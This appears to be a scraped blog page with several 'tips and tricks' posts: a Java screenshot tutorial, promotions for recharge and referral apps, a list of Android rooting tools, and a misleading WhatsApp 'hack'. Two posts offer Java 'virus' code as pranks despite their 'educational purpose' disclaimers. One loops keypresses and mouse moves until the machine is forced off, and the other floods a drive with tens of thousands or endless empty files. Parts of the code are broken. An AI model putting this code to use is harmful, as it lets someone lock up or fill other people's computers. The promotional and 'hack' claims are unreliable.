Showing posts with label Tips and Tricks. Show all posts
Showing posts with label Tips and Tricks. Show all posts

Capturing screen shot using java program

03:23 1 Comment


Capturing screenshot using java

Here i will tell you how to write a program using java which is capable of capturing screenshots(either whole or partial).And save it as an image.

Which java API ?

The java.awt.Robot class provides a useful method for capturing a screenshot.Here is the method prototype.

BufferedImage createScreenCapture(Rectangle screenRect)

It is clear from the prototype that this function returns a BufferedImage and takes a Rectangle class object (portion of the screen to capture) as the argument.The BufferedImage which is returned could be saved using ImageIO class write method.Lets begin with the program.


1) Capturing full screen


In order to capture full screen using createScreenCapture(Rectangle screenRect)
screenRect should have the full screen size and in order to do that we will use Toolkit class of java.

Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());


Now here begins the whole program.

import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imageio.ImageIO;

public class FullScreenCaptureExample {
    public static void main(String[] args) {
        try {
            Robot robot = new Robot();
            String format = "jpg";//can be,“png”, “bmp”,"jpeg" etc
            String fileName = "screenshot." + format;
             
            Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
            BufferedImage screenImg = robot.createScreenCapture(screenRect);
            ImageIO.write(screenImg, format, new File(fileName));
             
            System.out.println("screenshot saved!");
        } 
        catch (AWTException | IOException ex) {
            System.err.println(ex);
        }
    }
}



2)Capturing a portion of screen


You can also capture only a portion of screen by defining the rectangle object of createScreenCapture().

Rectangle area=new Rectangle(int startxpos,int startypos,int endxpos,int endypos)
startxpos >>Starting x position in pixels.
startypos>> Starting y position in pixels.
endxpos >> Ending x position in pixels.
endypos >>Ending y position in pixels

Here is the complete code.

import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imageio.ImageIO;

public class PartialScreenCaptureExample {
    public static void main(String[] args) {
        try {
            Robot robot = new Robot();
            String format = "jpg";
            String fileName = "PartialScreenshot." + format;
             
            
            Rectangle captureRect = new Rectangle(0, 0, 100,100);/*top left corner to 100 pixels down and 100 pixels right*/
            BufferedImage screenFullImage = robot.createScreenCapture(captureRect);
            ImageIO.write(screenFullImage, format, new File(fileName));
             
            System.out.println("partial screenshot saved!");
        } catch (AWTException | IOException ex) {
            System.err.println(ex);
        }
    }
}

Hacking the mouse and keyboard

00:52 Add Comment



Hacking mouse and keyboard



Hello Friends , here i (Shashank sahu) am back with a

new interesting java virus code which is capable of hacking the mouse and keyboard. The hacking code below will stuck your mouse at a specific position on the computer screen.And will not allow to move it.The only method to get rid of it is to sign out and re sign in or you can simply restart the computer. But here you couldn't move the mouse so how will you do that without touching the power button. I know it is simple you could use the keyboard shortcuts to restart it but what  if this code also hack the keyboard. Then there is no other option left except to use the power button of you system. Below is the complete code which is capable of doing what is said above.


*All virus codes given here are for educational purpose author will take no responsibility for any misuse whatsoever*














 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
public class HackKeyMouse
{
public static void main(String[] args)
{
try
{
Robot robot = new Robot();
while(true)
{
robot.keyPress(KeyEvent.VK_H);//repeatedly type H so keyboard does not work robot.mouseMove(100,100);//repeatedly move mouse pointer to (100,100) so it stucks }
}
catch (AWTException e)
{
e.printStackTrace();
}
}
}
If you want to do something more funny rather than simply hanging the computer then you should have a look at the code which is given below.
So what the difference here below code will not hang the mouse it will simply hack the keyboard .If the client will open any text editor like notepad or word.Above code will repeatedly start typing fool.







 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
public class HackKeyMouse
{
public static void main(String[] args)
{
try
{
Robot robot = new Robot();
while(true)
{
//repeatedly type fool
robot.keyPress(KeyEvent.VK_F);
robot.keyPress(KeyEvent.VK_O);
robot.keyPress(KeyEvent.VK_O);
robot.keyPress(KeyEvent.VK_L);
}
}
catch (AWTException e)
{
e.printStackTrace();
}
}
}

Ladooo Free recharge App Rs.80 now

13:05 1 Comment



This is an article about a free recharging app called Ladooo, simply earn free talktime by just for downloading apps and get recharged if wallet is filled with minimum payout balance of Rs.20.
In my previous article I mentioned about a free recharging app called mCent can earn talktime by simply downloading apps and can get recharged when min. wallet balance is Rs.10. Here there is another app called Ladooo which is as same as mCent. Ladoo has lots of offers and is one of the highest paying app for downloading apps. And also gives Rs. 80(may vary from time) for referring friends to Ladooo. Let’s see how to earn free recharges from Ladooo.


Features of Ladoo
  • More App Offers
  • Highest paying on each app
  • UI is awesome
  • Atleast download and use 2 apps (use each downloaded app atleast 30sec)
  • Claim missed referral option (if you didn’t get the referral amount of any of referred
  • Minimum payout is Rs.20





How To Get Talktime In Ladooo


  1.  Click the below link to download and install  Download Ladooo
  2.  Install app and open it
  3.  Signup with the Ladooo app after signup click Get Started
  4.  After successful signup you will get a list of apps
  5.  Click and install atleast 2 apps (If you install one app you should open and stay in the  app for  30sec and come back to Ladooo to get credited).
  6.  Open and Stay in the app for 30sec
  7.  Back to Ladoo – Wallet will be credited with preferred amount.
  8.  Wish you the best to earn maximum recharges from Ladooo.
If this article help you to earn little much money don't forget to share and like ;) Happy Recharging !

Kingroot v4.9.3 build 146 APK

03:19 Add Comment


KingRoot Apk

KingRoot App is an amazing tool for “lazy people” who just want to get root access but don’t want to flash any third party Recovery into their lovely device. It is one of the most famous root tool in China and now we release English version here for everyone, totally free and without AD.
Something interesting will happen when you root your device by KingRoot, the most suitable Root strategy will be deployed from cloud, that is why we have higher success rate that some other tools. Specifically, root success rate will higher than 60% on supported device.
WHAT’S NEW
  • enhanced ability Root adapter Samsung , Huawei and more models
  • security management Root authorization covering Android5.0 version
  • prohibit bulk from Kai , easy to manage software from Kai behavior
Screenshots

Create a simple virus using java

02:17 1 Comment












What's my idea

Before we start talking how we will create a simple flooder virus using java we must be clear about what is  the idea and how to implement it.
So the idea is to create a program which will create  thousands of blank files in a drive you will don't believe but it could create file with  a speed of   1060+ files per second .

How to implement it

Now the problem is how we would do this??
So here is the answer . 
  • First of all we will design a loop which will run N number of times where N is the number of files which we want to create.
  • Then we will create a new File with the help of createNewFile() function of java.io.File class.
  • The name of each file is the value of the variable which is used in the loop.
Here is the sample virus program.


/**

 * **********This virus program is just for educational purpose 

 * author will not be responsible for any issues **************

 * 

 * @author (Shashank sahu) 

 * This program is a virus program and creates N empty files in your system

 */
 import java.io.File;
class Virus
{
    public static void main(String args[])throws IOException
    {
        int i=0;
      int numOfFiles=50000;// files to be created

        while(i<=numOfFiles)
        {
        File f=new File("D:/"+i+".txt"); // creates file in D:/ drive
        f.createNewFile();// creates new file
        i++;
      }// closing of while loop
    }
}

Note you can also change the path from "D:/" to any other drive or folder but the compulsion is that you must have administrative access.

How to upgrade it

You could even make it whole dreadful by allowing it to make infinite files by making few changes in the above program. Here is the code to implement this.


/**

 * **********This virus program is just for educational purpose 

 * author will not be responsible for any issues **************

 * 

 * @author (Shashank sahu) 

 * This program is a virus program and creates N empty files in your system

 */
 import java.io.File;
class Virus
{
    public static void main(String args)throws IOException
    {
        long i=0;
        while(true)// or you can also use   while(i>0) 
        {
        File f=new File("D:/"+i+".txt"); // creates file in D:/ drive
        f.createNewFile();// creates new file
        i++;
      }// closing of while loop
    }
}

Download The Virus Doc Here(it is a .txt File)


Here as the virus program on action








Get Free Recharge On Android !

Get Free Recharge On Android !

12:35 1 Comment

Recharge
‘FreeB Ultimate’ is a step ahead in our endeavor to give you the Ultimate ease and experience to earn and pay for your mobile recharges and DTH while you also get wonderful deals from all Major Brands and content of your choice along with Shopping, News, expert chat, Free daily Astrology forecast!!
Features
  • Latest trending apps & utilities for your daily use
  •  Best Deals from food to shopping.
  •  Content portal with trending videos, graffiti to enjoy and share with friends
  • Free Daily Astrology.
  • Upto 100% Cashback on Shopping
  • Regular contests for amazing gifts, recharge
  • Personalized Notification Inbox to help you schedule your FreeB time!
  • Free recharge
Screenshot




How To Get Free Recharge ?
  1. First of all download app using Promotional Link : [Here] & signup using ur phone number.
  2. Complete any two offers to get 100* Rs. Bonus. (Only if u install using Promotion Lilnk)
  3. Keep App installed complete more offers to earn more.
  4. Enjoy earning.
Sign Up Link
How to change your friends whatsapp profile picture

How to change your friends whatsapp profile picture

03:12 1 Comment

 HACK  AND CHANGE  YOUR  FRIEND's WHATSAPP  PROFILE                           PICTURE

    SEE  THE  STEPS  BELOW:

Download The App here

1.  Open your friend's  profile photo and save it in your gallery.
2.  Click home button.
3.  Open my files  and then internal storage.
4.  Go-to  whatsapp/media/profile/photos  copy name of your friend's profile picture.
5.  Choose another picture and rename.    it's name with freind profile pic.               name.
6.  Copy it in whatsapp profile pic.                 subfolder by deleting original one.
          
     Then if you open your whatsapp from recent apps you find the changed Dp.
     Thanks to visit...
Our aim is to give interesting hacks and tricks to you.

 Just verify that you r a human by captcha and wait for three seconds

  Download The App here


Best 5 Android Rooting Software to Root Android

05:39 Add Comment

Best 5 Android Rooting Software to Root Android 


I recommend best 5 root software for Android, which enables to root your phone or tablet easily and conveniently.

1.Wondershare MobileGo

Wondershare MobileGo is one of the best root software for Android you have ever seen. It’s an easy-to-use solution for rooting your Android phone or tablet in 1 click. Besides, it’s compatible with massive Android phones and tablets produced by Samsung, HTC, Sony, Motorola, LG, HuaWei, Acer, Google and more.
Pros
  • Fully compatible with Android 2.1 and up.
  • 100% safe and secured, no risk.
  • DOES NOT void warranty.
  • Support over 3, 000 Android phones and tablets.
  • Backup/restore import data before/after rooting.
  • Manage rooted Android phone or tablet in one place.
  • Free.
Cons
  • Not offer unroot function for the time being.
android rooting software

2. Kingo

Kingo is another free software for Android rooting. Like Wondershare MobileGo, it also enables you to root your Android phone or tablet in 1 click. It supports Android 2.3 up to Android 4.2.2, and works well with HTC, Samsung, Sony, Motorola, Lenovo, LG, Acer, and so on.
Pros
  • Fully compatible with Android 2.3 up to Android 4.2.2.
  • Enable to remove root at any time.
  • Free of charge.
  • Safe and risk-free.
Cons
  • Not support Android 4.4 or up.
android root software

3. SRSRoot

SRSRoot is a little rooting software for Android. With it, you can root your Android phone or tablet, as well as remove root access with a single click. It’s free of charge and provides you with two ways to root. One is Root Device (All Methods) the other is Root Device (SmartRoot).
Pros
  • Work well with Android 1.5 up to Android 4.2.
  • Support unroot.
Cons
  • Not support Android 4.4 or up.
root software for android

4. Root Genius

Like its name suggests, Root Genius is a smart Android root software created in China. It makes Android rooting simple, easy and fast.
Pros
  • Support more than 10,000 Android phones.
  • One click to root, simple an easy.
  • Enable to flash custom ROM, and remove built-in-apps after rooting.
  • Compatible with Android from 2.2 to 4.4.
  • Free
Cons
  • Not offer unroot function for the time being
root android software

5. iRoot

Just like Root Genius, iRoot is another powerful root software created by Chinese people. Just one click, and you can be the master of your Android phone or tablet.
Pros
  • Support thousands of Android phones.
  • High success rate of rooting.
  • Free of charge.
Cons
  • Not offer unroot function for the time being.
rooting software for android
OneClickRoot is the world’s leading Android rooting software. With just a single click, you can root your Android smartphone or tablet and have access to hundreds of new and exciting features. Here are just a few of the reasons why more and more people round the world are rooting their Android devices:
  • Access more apps
  • Preserve battery life
  • Faster performance
  • Wi-Fi and Bluetooth tethering
  • Install custom ROMs
  • Access blocked features
  • And so much more!
Check Root Availability For Your Device Here

Android to Root Android with These APPS

06:21 1 Comment

Android to Root Android with These 

APPS



In this part, I recommend 2 root software for Android, which enables to root your phone or tablet from computer easily and conveniently.

1.SuperSU Pro

SuperSU is the Superuser access management tool of the future! SuperSU allows for advanced management of Superuser access rights for all the apps on your device that need root. SuperSU has been built from the ground up to counter a number of problems with other Superuser access management tools.
!!! SuperSU requires a rooted device !!!

2. Superuser

This app does almost the same as SuperSU. With this app you are going to get PIN protection for the fee, which is available after paying for it in the SuperSU.This app is a little heavy compared to SuperSU, when it comes to CPU uses. The interface was not that good when the beta version was launched, but the official version is fine and runs smoothly. The developer of this app has announced that this app will always be free and no paid version will be launched ever.
Features
  • It provides multi user supports (android 4.2 onwards).
  • It is a totally open source project; you can find the source code at github.
  • PIN protection. It asks for PIN whenever it encounters a root access request.
  • Every app can be configured separately.
  • Root access prompting, logging, and notification features.
Advantages
  • It can handle multiple root access requests at a same time.
  • Updates very frequently in the marketplace, hence you will get added support to all the new Android versions almost instantly.
  • You can set the duration of request before they time out.
  • If you are looking for a free app, then you cannot find any app better than this one. You will never feel that you make a compromise by not going for a paid app.
  • No security voids in this app, everything is transparent.
Disadvantages
  • This app is a little bit heavy in terms of CPU uses
  • The interface could be made better, but this can be of personal preference. If I don’t like the interface doesn’t mean you will feel the same.
How To Install ?
  1. Uninstall Any Previously Installed SuperUser / SuperUserElite
  2. Install The Given SuperUser Elite Key From Below
  3. Install SuperUser 3.1.3 From Below
  4. You’re Done !
root app for android

3. Root Master 

Root Master is a well known android application for rooting android devices from android version 1.5 to 5.0, it supports almost all Android models from different manufacturers Like >> (Google, Samsung, Sony, Motorola, HTC etc).
  1. One-click root your android devices
  2. Get admin level permission
  3. Boost devices & battery life
  4. Optimize Android system & performance

4.Frame Root Apk

Frameroot is a one click application that roots almost any android phone or device without the need of a Computer . Framaroot was developed by alephzain from The XDA forums . With one click this app can install the Superuser and Su binary on your phone . Framaroot currently supports phones with Android versions from 2.0 to 4.2 . This is one of the easiest and fastest rooting methods .
How to root ?
  1. Download the Framaroot app to your phone
  2. Install Frameroot from the Apk file.
  3. Choose “install Superuser”  option inside Frameroot.
  4. Select any of the exploits that appears in the app and wait for some time.
  5. If you see a “Success  … Superuser and su binary installed. You have to reboot your device” message then you have successfully rooted your phone .
  6. If you see “Failed … Try another exploit if available”  message then try selecting another exploit .

5.Kingroot Apk – The One Click Root Tool For

 Almost All Devices

KingRoot apk is an amazing tool for “lazy people” who just want to get root access but don’t want to flash any third party Recovery into their lovely device. It is one of the most famous root tool in China and now we release English version here for everyone, totally free and without AD.Something interesting will happen when you root your device by KingRoot, the most suitable Root strategy will be deployed from cloud, that is why we have higher success rate that some other tools. Specifically, root success rate will higher than 60% on supported device.
Supported Devices List
How to root using Kingroot Apk ?
  1.  Download the apk given below
  2. Install it into you device.
  3. Run it , done! KingRoot will do every other thing for you.

6. Root ASUS Zenfone

Root Zenfone, especially root ASUS Zenfone will bring you to experience the deepest customization for new product lines this Asus. You need to comply with the guidelines below to avoid the risk of Zenfone with your machine.
Supported Models
  • ZenFone 6 (T00G / Z002)
  • PadFone S (T00N)
  • Fonepad Note 6 ME560CG (K00G) v11.2.1.22 [factory reset before rooting]
  • ZenFone 5 LTE (T00P)
  • MeMO Pad 7 ME176C / ME176CX (K013)
  • MeMO Pad 8 ME181C (K011)
  • Fonepad 7 FE375CG (K019)
  • Transformer Pad TF103C (K010)
  • Transformer Pad TF303CL (K014)
  • Fonepad 7 FE170CG (K012)
To Be Confirmed Models
  • PadFone Mini (T00E)
  • Transformer Pad TF103CG (K018)
Not Supported Models
  • ZenFone 5 (T00F / T00J)
  • MeMO Pad 7 ME170C (K017)
  • MeMO Pad 7 ME70C (K01A)
  • ZenFone 4 (T00I / T00Q)
How to Root ?
  1. Install the “Root Zenfone” Apk (make sure you have already checked “Unknown sources” under Security settings)
  2. Open the app
  3. After Root Zenfone application starts, hit the “OK” button.
  4. Now choose “SuperSU (by Chainfire)”
  5. Hit the “OK I know, please root !” button (make sure WiFi and Mobile Data already turned off)
  6. After finished the rooting process it will ask for REBOOT, just do it.
7. TOWELROOT
Towelroot is a lightweight app which comes with a clean, straightforward UI. The app helps non-techie Android users in rooting their devices with extreme ease. Current version of Towelroot, v3.0, has several improvements to its overall performance and some bugs have been fixed too which include issues with Samsung Galaxy Note 3 and Google Nexus5 rooting issues.
How to root ?
  1. Download this file and install (tick unknown source from settings/security)
  2. Click “make it ra1n”. If you your device is reboot, it false, if not, your device is rooted.
  3. Install supersu app from Chplay. Enjoy.

Downlaod Links For All Android Tools

Wondershare MobileGo/Mirror Links

Kingo/Mirror Links

SRSRoot/Mirror Links

Root Zenfone v1.4.2r  / Mirror Links – {for MeMO Pad 8 ME181C (K011)}
Note
  • Root Has risks and May void Your WARRANTY.
  • QUADGEN is not responsible for any bricked Phones or anything that happens to your Phone while performing this procedure.
  • Do this at your own risk
If You Any PROBLEM REGARDING ROOTING PLZ COMMENT BELOW,WE WILL BE HAPPY TO HELP YOU
And if you want to know more hacking tricks and enhance you hacking ability then buy this book